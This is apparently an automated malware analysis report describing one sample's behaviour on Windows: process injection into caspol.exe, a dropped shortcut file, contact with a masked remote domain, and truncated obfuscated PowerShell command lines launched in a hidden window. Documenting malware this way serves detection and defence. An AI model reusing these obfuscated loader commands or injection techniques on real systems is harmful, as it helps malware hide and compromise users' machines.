Technical Information
Malicious functions
Injects code into
the following system processes:
- %WINDIR%\microsoft.net\framework\v4.0.30319\caspol.exe
Terminates or attempts to terminate
the following system processes:
- %WINDIR%\microsoft.net\framework\v4.0.30319\caspol.exe
Modifies file system
Creates the following files
- %HOMEPATH%\documents\frowzled2.lnk
Network activity
Connects to
- 'su#####echcenter.com':443
TCP
Other
- 'su#####echcenter.com':443
UDP
- DNS ASK su#####echcenter.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "$Rationers = """SFPuFnRcPtUiioUnK ScfaUnUefsAcMesnTeP0O0I H{PpKaTrOaCmD(m[DSStTrHiOnFgH]S`$FMFoSnTyQ)J;SFSourD(G`$VFKoArKsHlJaSgSsUsEtpiSlDlPeBrDePnHsK=S1R;S B`$VFRoUrOsFlSaCgAsTsStAiDlSlDeIrK...' (with hidden window)
- '%WINDIR%\microsoft.net\framework\v4.0.30319\caspol.exe' ' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c echo REG_SZ
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "$Rationers = """SFPuFnRcPtUiioUnK ScfaUnUefsAcMesnTeP0O0I H{PpKaTrOaCmD(m[DSStTrHiOnFgH]S`$FMFoSnTyQ)J;SFSourD(G`$VFKoArKsHlJaSgSsUsEtpiSlDlPeBrDePnHsK=S1R;S B`$VFRoUrOsFlSaCgAsTsStAiDlSlDeIrK...
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "Function canescene00 {param([String]$Mony);For($Forslagsstillerens=1; $Forslagsstillerens -lt $Mony.Length-1; $Forslagsstillerens+=(1+1)){$Falsify122 = $Falsify122 + $Mony.Substring($Forslagss...
- '%WINDIR%\microsoft.net\framework\v4.0.30319\caspol.exe'
